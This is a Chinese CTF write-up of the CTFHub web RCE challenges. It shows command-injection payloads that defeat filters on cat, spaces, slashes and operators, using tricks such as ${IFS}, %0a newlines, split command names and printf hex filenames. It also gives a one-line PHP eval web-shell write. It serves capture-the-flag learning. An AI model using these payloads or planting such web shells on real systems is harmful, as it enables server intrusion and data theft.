CTFHUB-web-RCEwp总结

RCE

RCE英文全称:remote command/code execute
分为远程命令执行ping 和 远程代码执行evel。
区别:远程代码执行是调用服务器网站代码进行执行,命令注入是调用操作系统命令进行执行。基于这个区别,攻击利用方式有所不同。
在这里插入图片描述

命令注入

提示:这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

访问网站,随意输入一些内容 可以看出是一个测试网络延迟的功能
在这里插入图片描述
网站有提供源码 get获取ip 直接拼接语句执行操作
exec()函数用来执行一个外部程序
在这里插入图片描述

利用系列命令获取当前路径下的文件信息,获得特殊内容,尝试利用cat查看文件信息内容,但无内容输出,再后面加个管道命令以base64编码后的内容输出,解码后获得flag

1 & ls 
1 & cat "18502316747991.php"
1 & cat "18502316747991.php"|base64

在这里插入图片描述

在这里插入图片描述

PS:也可以尝试执行命令写入带有一句话的文件,使用工具连接

127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php

过滤cat

访问,提示过滤cat 但可以用其他的文件内容查看的命令替换 例:tac more less等

cat:由第一行开始显示文件内容
tac:从最后一行开始一行行反向打印(是cat的反写
more:一页页地显示文件内容
less:区别于more,添加往前翻页功能
head:取文件前面几行
tail:取文件后面几行
od:以特定编码格式输出

在这里插入图片描述
利用ls 命令获得文件名 再查看文件获取flag

1& tac "flag_31617147328526.php"|base64

在这里插入图片描述
在这里插入图片描述

过滤空格

访问 提示过滤空格但可以用其他内容来替换过滤

过滤空格绕过:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

<      cat<xxx.php
${IFS} cat${IFS}xxx.php
$IFS$9 cag$$IFS$9xx.php

在这里插入图片描述

利用ls 命令获得文件名 再查看文件获取flag

1&cat<"flag_2944813079198.php"|base64

在这里插入图片描述

过滤目录分隔符

要点:灵活的运用各种操作组合达到目的

命令分隔符
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

; 命令按照顺序(从左到右)被执行,用分号进行分隔。	当有一条命令执行失败时,不会中断其它命令的执行。
& 简单拼接 无限制
&& 前面执行成功后面才会执行
|  管道命令左边输出 作为右边输入,
|| 前面执行失败才会执行后面

访问 过滤了目录分隔符 /
在这里插入图片描述
查看当前路径下文件 发现flag在文件夹中,因为目录分隔符被过滤无法直接使用/ ,换思路
在这里插入图片描述
尝试先进入目标文件夹,再查看当前文件夹内容,可以发现 那么就再用cat 查看文件内容

1 & cd flag_is_herer; ls;cat xxxx.php

在这里插入图片描述

过滤运算符

访问 提示过滤运算符,查看代码 过滤了 ||,| ,& 但不影响我们使用其他的运算符

; 命令按照顺序(从左到右)被执行,用分号进行分隔。	当有一条命令执行失败时,不会中断其它命令的执行。
& 简单拼接 无限制
&& 前面执行成功后面才会执行
|  管道命令左边输出 作为右边输入,
|| 前面执行失败才会执行后面

在这里插入图片描述

使用分号 命令分隔符 查看文件信息 获得目录flag文件 使用cat查看(注意这里因为|被过滤 无法使用base64加密查看 但其实在源码中可以直接获得flag)

1 ;ls 
1;ls ;cat xxx.php
查看网页源码获得flag

在这里插入图片描述
在这里插入图片描述

综合过滤练习

访问 这是对之前所有的内容进行综合过滤了

过滤内容:\,||,|,/,&, ; ,"空格", cat,flag,ctfhub,

在这里插入图片描述

绕过思路

命令分隔符 & || | ;绕过->  %OA  (换行符)  
空格 			  绕过->  ${IFS}
特殊命令cat         绕过-> ca''t 
特殊文件名 			绕过-> $(printf "16进制文件名")

(1)查看当前路径文件

 ?ip=1%0als#
 ?ip=1;ls#

在这里插入图片描述
(2)查看flag_is_here文件下的内容

?ip=1%0Als${IFS}$(printf${IFS}"\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65")#

?ip=1;ls flag_is_here#

在这里插入图片描述
(3)查看xxx.php文件内容,获得flag

?ip=1%0Aca%27%27t${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65\x2F\x66\x6C\x61\x67\x5F\x31\x33\x38\x37\x38\x34\x32\x38\x38\x31\x38\x36\x36\x33\x2E\x70\x68\x70%22)#

?ip=1;cat flag_is_here/flag_13878428818663.php#

在这里插入图片描述
Ps:注意编码问题,url可能会自动转义

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值